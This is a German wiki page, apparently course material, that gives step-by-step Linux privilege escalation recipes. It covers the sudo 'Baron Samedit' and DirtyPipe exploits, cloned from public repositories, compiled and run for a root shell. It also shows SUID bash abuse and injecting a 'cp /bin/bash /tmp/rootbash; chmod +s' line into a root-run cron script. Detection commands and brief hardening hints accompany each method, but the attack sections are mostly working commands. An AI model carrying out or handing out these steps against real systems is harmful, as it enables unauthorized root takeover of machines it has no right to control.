Privilege Escalation Beispiele: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
(Die Seite wurde neu angelegt: „==Privilege Escalations auf einem kompromittierten System== *Dieses Dokument beschreibt vier typische Methoden zur Privilegienerweiterung auf einem Linux-Syst…“) |
(kein Unterschied)
|
Version vom 26. April 2025, 08:35 Uhr
Privilege Escalations auf einem kompromittierten System
- Dieses Dokument beschreibt vier typische Methoden zur Privilegienerweiterung auf einem Linux-System.
- Besonderer Fokus liegt darauf, wie Schwachstellen **real entdeckt** werden, nicht nur auf der Ausnutzung.
Privilege Escalation über sudo: CVE-2021-3156 ("Baron Samedit")
Zielsetzung
- Root-Rechte durch eine Schwachstelle im sudo-Programm erlangen.
Wie entdeckt man die Schwachstelle?
- sudo-Version prüfen
- sudo --version
- Verwundbare Versionen
- Sudo <= 1.9.5p2 ist verwundbar.
Voraussetzungen
| Bedingung | Beschreibung |
|---|---|
| sudo-Version | <= 1.9.5p2 |
| Lokaler Benutzer | Zugriff auf sudo installiert |
| shell Zugriff | Vorhanden |
Angriff: Root-Rechte durch Exploit
- Exploit herunterladen
- git clone https://github.com/blasty/CVE-2021-3156.git
- cd CVE-2021-3156
- Exploit kompilieren
- gcc exploit.c -o sudo_exploit
- Exploit ausführen
- ./sudo_exploit
- Erwartung
- Root-Shell erhalten.
Hinweise
- Exploit kann je nach libc-Version angepasst werden müssen.
- Bei Erfolg direkte Root-Rechte.
Privilege Escalation über Kernel-Exploit: DirtyPipe (CVE-2022-0847)
Zielsetzung
- Root-Rechte durch Kernel-Schwachstelle erhalten.
Wie entdeckt man die Schwachstelle?
- Kernel-Version prüfen
- uname -r
- Verwundbare Versionen
- Linux 5.8 bis 5.16.11 sind betroffen.
Voraussetzungen
| Bedingung | Beschreibung |
|---|---|
| Linux-Kernel-Version | 5.8 bis 5.16.11 |
| Lokaler Zugriff | Vorhanden |
| shell Zugriff | Vorhanden |
Angriff: Root-Rechte durch Exploit
- Exploit herunterladen
- git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploit.git
- cd CVE-2022-0847-DirtyPipe-Exploit
- Exploit kompilieren
- gcc -o dirtypipe dirtypipe.c
- Exploit ausführen
- ./dirtypipe /usr/bin/su
- Erwartung
- Root-Shell erhalten.
Hinweise
- Exploit manipuliert beliebige schreibgeschützte Dateien.
- Besonders effektiv gegen aktuelle ungehärtete Systeme.
Privilege Escalation über falsch gesetzte SUID-Binaries
Zielsetzung
- Root-Rechte durch falsch konfigurierte SUID-Binaries erlangen.
Wie entdeckt man die Schwachstelle?
- SUID-Binaries finden
- find / -perm -4000 -type f 2>/dev/null
- Berechtigungen prüfen
- ls -l /pfad/zur/datei
- Verdächtig
- Binaries wie bash, nmap, find, cp, die als SUID-Root ausführbar sind.
Voraussetzungen
| Bedingung | Beschreibung |
|---|---|
| SUID Binary | Existent und falsch konfiguriert |
| Lokaler Zugriff | Vorhanden |
| shell Zugriff | Vorhanden |
Angriff: Root-Shell durch Bash
- Bash mit SUID-Bit starten
- /usr/bin/bash -p
- Erwartung
- Root-Shell erhalten.
Hinweise
- Andere Binaries wie nmap oder vim können ähnliche Wege bieten.
- Berechtigungen der Binaries sind entscheidend.
Privilege Escalation über falsch konfigurierten Cronjob
Zielsetzung
- Root-Rechte durch unsichere Cronjob-Konfiguration erlangen.
Wie entdeckt man die Schwachstelle?
- Benutzer-Cronjobs prüfen
- crontab -l
- Systemweite Cronjobs prüfen
- cat /etc/crontab
- ls -la /etc/cron.d/
- ls -la /etc/cron.hourly/
- ls -la /etc/cron.daily/
- ls -la /etc/cron.weekly/
- ls -la /etc/cron.monthly/
- Dateiberechtigungen prüfen
- ls -l /pfad/zum/skript.sh
- Verdächtig
- Skripte, die von normalen Benutzern bearbeitet werden können und als root ausgeführt werden.
Voraussetzungen
| Bedingung | Beschreibung |
|---|---|
| Schwacher Cronjob | Existiert |
| Lokaler Zugriff | Vorhanden |
| shell Zugriff | Vorhanden |
Angriff: Code einschleusen
- Skript manipulieren
- echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" >> /opt/backup.sh
- Warten, bis Cronjob ausgeführt wird.
- Root-Shell starten
- /tmp/rootbash -p
- Erwartung
- Root-Shell erhalten.
Hinweise
- Dateien, die von root ausgeführt werden, müssen sicher konfiguriert sein (nur root schreibbar).
Zusammenfassung: typische Erkennungs- und Angriffsmethoden
| Methode | Erkennung | Angriffsmethode | Hinweis |
|---|---|---|---|
| Sudo-Exploit | sudo --version | Exploit ausführen | Version prüfen! |
| Kernel-Exploit | uname -r | DirtyPipe oder ähnliches | Kernel genau analysieren! |
| SUID-Fehler | find / -perm -4000 | SUID-Binary missbrauchen | Berechtigungen checken! |
| Cronjob-Fehler | crontab, /etc/cron* | Skript manipulieren | Dateirechte kontrollieren! |